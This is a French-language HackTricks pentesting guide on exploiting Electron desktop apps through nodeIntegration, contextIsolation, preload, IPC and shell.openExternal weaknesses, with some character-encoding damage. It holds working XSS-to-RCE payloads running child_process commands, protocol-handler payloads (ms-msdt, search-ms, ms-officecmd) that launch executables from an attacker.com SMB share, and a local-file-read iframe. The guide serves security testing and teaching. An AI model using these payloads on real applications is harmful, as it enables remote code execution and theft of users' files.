Electron Desktop Apps
Reading time: 17 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Introduction
Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes.
Généralement, vous pouvez trouver le code de l'application electron à l'intérieur d'une application .asar
, afin d'obtenir le code, vous devez l'extraire :
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Dans le code source d'une application Electron, à l'intérieur de packet.json
, vous pouvez trouver spécifié le fichier main.js
oĂč les configurations de sĂ©curitĂ© sont dĂ©finies.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron a 2 types de processus :
- Processus Principal (a un accĂšs complet Ă NodeJS)
- Processus de Rendu (devrait avoir un accÚs restreint à NodeJS pour des raisons de sécurité)
Un processus de rendu sera une fenĂȘtre de navigateur chargeant un fichier :
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Les paramĂštres du processus de rendu peuvent ĂȘtre configurĂ©s dans le processus principal Ă l'intĂ©rieur du fichier main.js. Certaines des configurations empĂȘcheront l'application Electron d'obtenir un RCE ou d'autres vulnĂ©rabilitĂ©s si les paramĂštres sont correctement configurĂ©s.
L'application Electron pourrait accĂ©der Ă l'appareil via les API Node bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher :
nodeIntegration
- estoff
par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le processus de rendu.contextIsolation
- eston
par défaut. S'il est désactivé, les processus principal et de rendu ne sont pas isolés.preload
- vide par défaut.sandbox
- est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.- Intégration Node dans les Workers
nodeIntegrationInSubframes
- estoff
par défaut.- Si
nodeIntegration
est activé, cela permettrait l'utilisation des API Node.js dans les pages web qui sont chargées dans des iframes au sein d'une application Electron. - Si
nodeIntegration
est désactivé, alors les précharges se chargeront dans l'iframe.
Exemple de configuration :
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Quelques RCE payloads de ici :
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capture traffic
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Injection de code local Electron
Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez faire exécuter du code javascript arbitraire. Vérifiez comment dans :
macOS Electron Applications Injection
RCE : XSS + nodeIntegration
Si le nodeIntegration est réglé sur on, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant require()
. Par exemple, la façon d'exécuter l'application calc sur Windows est :
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE : préchargement
Le script indiqué dans ce paramÚtre est chargé avant d'autres scripts dans le rendu, donc il a un accÚs illimité aux API Node :
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Par consĂ©quent, le script peut exporter des fonctionnalitĂ©s de nĆud vers des pages :
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Si
contextIsolation
est activé, cela ne fonctionnera pas
RCE : XSS + contextIsolation
Le contextIsolation introduit les contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
Si les contextes ne sont pas isolés, un attaquant peut :
- Exécuter du JavaScript arbitraire dans le renderer (XSS ou navigation vers des sites externes)
- Ăcraser la mĂ©thode intĂ©grĂ©e qui est utilisĂ©e dans le preload ou le code interne d'Electron pour sa propre fonction
- Déclencher l'utilisation de la fonction écrasée
- RCE ?
Il y a 2 endroits oĂč les mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code de preload ou dans le code interne d'Electron :
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Contourner l'événement de clic
S'il y a des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourriez ĂȘtre en mesure de les contourner en effectuant un clic du milieu au lieu d'un clic gauche rĂ©gulier.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/
Lors du déploiement d'une application de bureau Electron, il est crucial de garantir les paramÚtres corrects pour nodeIntegration
et contextIsolation
. Il est Ă©tabli que l'exĂ©cution de code Ă distance cĂŽtĂ© client (RCE) ciblant les scripts de prĂ©chargement ou le code natif d'Electron depuis le processus principal est efficacement empĂȘchĂ©e avec ces paramĂštres en place.
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, qui sont cruciaux pour la sĂ©curitĂ© et la fonctionnalitĂ© de l'application :
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Ces Ă©couteurs sont surchargĂ©s par l'application de bureau pour mettre en Ćuvre sa propre logique mĂ©tier. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise par une fonction, openInternally
. Si cette fonction retourne false
, cela indique que le lien doit ĂȘtre ouvert Ă l'extĂ©rieur, en utilisant la fonction shell.openExternal
.
Voici un pseudocode simplifié :
Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction openExternal
, car cela pourrait conduire à une RCE via divers protocoles. Les systÚmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à cette ressource, qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
Sur macOS, la fonction openExternal
peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans shell.openExternal('file:///System/Applications/Calculator.app')
.
Les exemples d'exploits de protocoles Windows incluent :
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + preload IPC vuln + shell.openExternal
Cette vulnĂ©rabilitĂ© peut ĂȘtre trouvĂ©e dans ce rapport.
Le webviewTag est une fonctionnalitĂ© obsolĂšte qui permet l'utilisation de NodeJS dans le processus de rendu, ce qui devrait ĂȘtre dĂ©sactivĂ© car cela permet de charger un script dans le contexte de prĂ©chargement comme :
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour charger un script de préchargement arbitraire.
Ce script de préchargement a ensuite été abusé pour appeler un service IPC vulnérable (skype-new-window
) qui appelait shell.openExternal
pour obtenir un RCE :
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Lecture de fichiers internes : XSS + contextIsolation
DĂ©sactiver contextIsolation
permet l'utilisation de balises <webview>
, similaire Ă <iframe>
, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
De plus, une autre méthode pour lire un fichier interne est partagée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une application de bureau Electron. Cela implique d'injecter un script pour exploiter l'application et exfiltrer des données :
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE : XSS + Ancien Chromium
Si le chromium utilisĂ© par l'application est ancien et qu'il y a des vulnĂ©rabilitĂ©s connues dessus, il pourrait ĂȘtre possible de l'exploiter et d'obtenir RCE via un XSS.
Vous pouvez voir un exemple dans ce writeup : https://blog.electrovolt.io/posts/discord-rce/
Phishing XSS via contournement de regex d'URL interne
Supposons que vous ayez trouvé un XSS mais que vous ne puissiez pas déclencher RCE ou voler des fichiers internes, vous pourriez essayer de l'utiliser pour voler des identifiants via phishing.
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end :
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
L'appel Ă openInternally
dĂ©cidera si le lien sera ouvert dans la fenĂȘtre de bureau car c'est un lien appartenant Ă la plateforme, ou s'il sera ouvert dans le navigateur en tant que ressource tierce.
Dans le cas oĂč la regex utilisĂ©e par la fonction est vulnĂ©rable aux contournements (par exemple en ne pas Ă©chapper les points des sous-domaines), un attaquant pourrait abuser du XSS pour ouvrir une nouvelle fenĂȘtre qui sera situĂ©e dans l'infrastructure de l'attaquant demandant des identifiants Ă l'utilisateur :
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
Comme mentionné dans la documentation, les pages s'exécutant sur file://
ont un accĂšs unilatĂ©ral Ă chaque fichier sur votre machine, ce qui signifie que les problĂšmes XSS peuvent ĂȘtre utilisĂ©s pour charger des fichiers arbitraires depuis la machine de l'utilisateur. L'utilisation d'un protocole personnalisĂ© empĂȘche des problĂšmes comme celui-ci, car vous pouvez limiter le protocole Ă un ensemble spĂ©cifique de fichiers.
Remote module
Le module Remote d'Electron permet aux processus de rendu d'accéder aux API du processus principal, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques par script intersite (XSS).
tip
Bien que le module remote expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE juste en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
warning
De nombreuses applications qui utilisent encore le module remote le font d'une maniÚre qui nécessite l'activation de NodeIntegration dans le processus de rendu, ce qui représente un énorme risque de sécurité.
Depuis Electron 14, le module remote
d'Electron peut ĂȘtre activĂ© en plusieurs Ă©tapes, car pour des raisons de sĂ©curitĂ© et de performance, il est recommandĂ© de ne pas l'utiliser.
Pour l'activer, il faut d'abord l'activer dans le processus principal :
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Ensuite, le processus de rendu peut importer des objets du module comme :
import { dialog, getCurrentWindow } from '@electron/remote'
Le blog post indique certaines fonctions intéressantes exposées par l'objet app
du module distant :
app.relaunch([options])
- Redémarre l'application en quittant l'instance actuelle et en lancant une nouvelle. Utile pour les mises à jour d'applications ou des changements d'état significatifs.
app.setAppLogsPath([path])
- DĂ©finit ou crĂ©e un rĂ©pertoire pour stocker les logs de l'application. Les logs peuvent ĂȘtre rĂ©cupĂ©rĂ©s ou modifiĂ©s en utilisant
app.getPath()
ouapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Enregistre l'exécutable actuel comme le gestionnaire par défaut pour un protocole spécifié. Vous pouvez fournir un chemin personnalisé et des arguments si nécessaire.
app.setUserTasks(tasks)
- Ajoute des tùches à la catégorie Tùches dans la Jump List (sur Windows). Chaque tùche peut contrÎler comment l'application est lancée ou quels arguments sont passés.
app.importCertificate(options, callback)
- Importe un certificat PKCS#12 dans le magasin de certificats du systĂšme (Linux uniquement). Un callback peut ĂȘtre utilisĂ© pour gĂ©rer le rĂ©sultat.
app.moveToApplicationsFolder([options])
- DĂ©place l'application vers le dossier Applications (sur macOS). Aide Ă garantir une installation standard pour les utilisateurs de Mac.
app.setJumpList(categories)
- Définit ou supprime une Jump List personnalisée sur Windows. Vous pouvez spécifier des catégories pour organiser comment les tùches apparaissent à l'utilisateur.
app.setLoginItemSettings(settings)
- Configure quels exécutables se lancent à la connexion avec leurs options (macOS et Windows uniquement).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
module systemPreferences
L'API principale pour accéder aux préférences systÚme et émettre des événements systÚme dans Electron. Des méthodes comme subscribeNotification, subscribeWorkspaceNotification, getUserDefault et setUserDefault font toutes partie de ce module.
Exemple d'utilisation :
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Ăcoute les notifications macOS natives en utilisant NSDistributedNotificationCenter.
- Avant macOS Catalina, vous pouviez intercepter toutes les notifications distribuées en passant nil à CFNotificationCenterAddObserver.
- AprÚs Catalina / Big Sur, les applications en bac à sable peuvent toujours s'abonner à de nombreux événements (par exemple, verrouillages/déverrouillages d'écran, montages de volume, activité réseau, etc.) en enregistrant des notifications par nom.
getUserDefault / setUserDefault
-
Interagit avec NSUserDefaults, qui stocke les préférences d'application ou globales sur macOS.
-
getUserDefault peut récupérer des informations sensibles, telles que les emplacements de fichiers récents ou la localisation géographique de l'utilisateur.
-
setUserDefault peut modifier ces préférences, affectant potentiellement la configuration d'une application.
-
Dans les anciennes versions d'Electron (avant v8.3.0), seule la suite standard de NSUserDefaults Ă©tait accessible.
Shell.showItemInFolder
Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui pourrait exécuter automatiquement le fichier.
Pour plus d'informations, consultez https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Les applications Electron devraient avoir une Content Security Policy (CSP) pour prévenir les attaques XSS. La CSP est une norme de sécurité qui aide à prévenir l'exécution de code non fiable dans le navigateur.
Elle est généralement configurée dans le fichier main.js
ou dans le modĂšle index.html
avec la CSP à l'intérieur d'une balise meta.
Pour plus d'informations, consultez :
Content Security Policy (CSP) Bypass
Outils
- Electronegativity est un outil pour identifier les erreurs de configuration et les anti-modÚles de sécurité dans les applications basées sur Electron.
- Electrolint est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
- nodejsscan pour vérifier les bibliothÚques tierces vulnérables.
- Electro.ng: Vous devez l'acheter.
Labs
Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s, vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
Certaines commandes qui vous aideront avec le laboratoire :
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Références
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Plus de recherches et d'analyses sur la sécurité d'Electron dans https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.